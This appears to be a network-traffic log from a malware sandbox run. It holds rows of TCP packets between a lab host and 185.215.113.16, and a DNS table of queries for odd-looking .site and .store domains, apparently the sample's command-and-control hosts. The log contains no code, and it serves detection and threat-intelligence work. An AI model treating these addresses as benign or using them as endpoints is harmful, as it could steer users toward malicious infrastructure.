Oct 24, 2024 18:09:22.971395016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971400023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971429110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971451044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971461058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971479893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971494913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971518040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971545935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971548080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971580029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971601009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971623898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971630096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971679926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971683979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971729040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971734047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971779108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971781969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971812963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971832991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971848965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971869946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971880913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971901894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971918106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971935987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971954107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971978903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971987963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.972002983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.972021103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.972044945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.972054958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.972063065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.972105026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.972831964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.972882032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.972897053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.972917080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.972945929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.972964048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.973125935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.973181963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.973237038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.973287106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.973289967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.973320007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.973340034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.973354101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.973362923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.973404884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.996103048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.996126890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.996138096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.996144056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.996154070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.996160984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.996421099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.038086891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.038110971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.038120985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.038238049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.094969988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.094993114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095007896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095024109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095038891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095060110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095065117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095082998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095096111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095099926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095110893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095118999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095132113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095134974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095153093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095155954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095170021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095185995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095185995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095196009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095201969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095217943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095230103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095230103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095233917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095241070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095252037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095256090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095268011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095283985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095292091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095292091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095305920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095310926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095334053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095350027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095361948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095366001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095390081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095391035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095402956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095407009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095432043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095436096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095436096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095448017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095462084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095478058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095478058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095488071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095489979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095508099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095530033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095530987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095547915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095554113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095563889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095571995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095585108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095587969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095602989 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095609903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095618963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095627069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095634937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095643044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095658064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095665932 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095674038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095676899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095690966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095698118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095706940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095709085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095720053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095724106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095741034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.095742941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095766068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.095774889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.096218109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.096261024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.096318960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.096334934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.096349955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.096357107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.096365929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.096379995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.096383095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.096389055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.096400023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.096406937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.096416950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.096427917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.096438885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.096460104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.112725973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.112746954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.112761974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.112778902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.112797022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.112812996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.112814903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.112843990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.112869024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.155693054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.155729055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.155765057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.155780077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.155781031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.155864000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.195281029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.195302963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.195331097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.195403099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.195403099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.195403099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.201332092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.201366901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.201375008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.201438904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.201473951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205097914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205112934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205127954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205163002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205200911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205209017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205224991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205252886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205260038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205286980 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205307007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205358028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205382109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205395937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205415964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205415964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205492973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205507994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205521107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205535889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205538034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205538034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205553055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205568075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205568075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205586910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205674887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205689907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205704927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205722094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205729008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205745935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205750942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205750942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205761909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205771923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205786943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205789089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205804110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205811024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205836058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205836058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205878973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205894947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205916882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205924988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205924988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205933094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.205950022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.205976009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.206899881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.206924915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.206940889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.206950903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.206985950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.206985950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207103014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207118034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207132101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207148075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207159042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207159042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207164049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207180023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207189083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207204103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207204103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207212925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207222939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207231045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207247019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207261086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207266092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207267046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207277060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207292080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207293034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207294941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207310915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207319021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207331896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207338095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207354069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207370043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207372904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207386017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207397938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207397938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207401991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207417011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.207417965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207442999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207442999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.207461119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.212150097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.212213039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.212223053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.212239027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.212268114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.212299109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.230343103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.230376959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.230413914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.230448008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.230483055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.230518103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.230525017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.230525017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.230525017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.230525017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.230525017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.230556011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.230587959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.230607986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.230607986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.230633020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.274075031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.274125099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.274162054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.274174929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.274175882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.274264097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.312305927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.312354088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.312392950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:23.312386990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:23.312474012 CEST	49997	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 18:07:59.807360888 CEST	192.168.2.6	1.1.1.1	0xdd80	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.819799900 CEST	192.168.2.6	1.1.1.1	0xf52	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.831202984 CEST	192.168.2.6	1.1.1.1	0x2dc5	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.843013048 CEST	192.168.2.6	1.1.1.1	0xcf20	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.866750956 CEST	192.168.2.6	1.1.1.1	0xa7e8	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.878550053 CEST	192.168.2.6	1.1.1.1	0x10e1	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.892513990 CEST	192.168.2.6	1.1.1.1	0x39e5	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.903878927 CEST	192.168.2.6	1.1.1.1	0x11a0	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.917599916 CEST	192.168.2.6	1.1.1.1	0xb293	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:08:01.634083033 CEST	192.168.2.6	1.1.1.1	0x33d	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
